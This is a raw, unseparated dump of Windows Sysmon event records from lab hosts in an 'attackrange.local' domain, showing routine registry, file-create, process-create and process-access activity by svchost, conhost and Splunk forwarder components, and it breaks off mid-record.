13241300x800000000000000053880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\DhcpIPAddress10.0.1.14 13241300x800000000000000053879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:31.532{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{6c41a63c-1aaa-4d7e-9c3d-e041ddb3bfdc}\DhcpInterfaceOptionsBinary Data 23542300x800000000000000053896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.862{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0092DCFA5AD88D6622E291BF1F15E65E,SHA256=9618AC4FAAF7226317E97757202E7F8FF0E6346C48F8612BD245BC2CC0CD1909,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017273Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.796{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5279B868BB5780245B6105713DC8E243,SHA256=1A4156C054E2BC1435B360E7F9D4562B0B22D0069097E7B39FB571EAA1F6671A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017272Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.796{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E007E3A0E73D6C5213BF89D29EF34161,SHA256=0E173F282E2ACC69DE7261293D82A89227F09F7208072CDFB275E4267D45AD48,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017271Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-73C4-613B-1C05-00000000F101}1492C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017270Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017269Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017268Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017267Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017266Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017265Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017264Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017263Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017262Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017261Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-73C4-613B-1C05-00000000F101}1492C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017260Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.608{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-73C4-613B-1C05-00000000F101}1492C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017259Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.609{625C326B-73C4-613B-1C05-00000000F101}1492C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017258Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.405{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2505C18CD2083F22A6B9BF09B8E2AC3F,SHA256=3BD50C71E72F1BEAAAC38FAF7B67ACCD9D1FA6FAD3D81203F98A75BE866D294B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017257Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.311{625C326B-73C4-613B-1B05-00000000F101}14641684C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000053895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.100{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=03D25996CB8D8358BEA8C7C2C518F51A,SHA256=128F88F4460BCCDB0E4B80DD867D8D6033026DC038A61C24092461F23432E2E6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017256Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-73C4-613B-1B05-00000000F101}1464C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017255Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017254Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017253Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017252Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017251Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017250Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017249Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017248Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017247Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 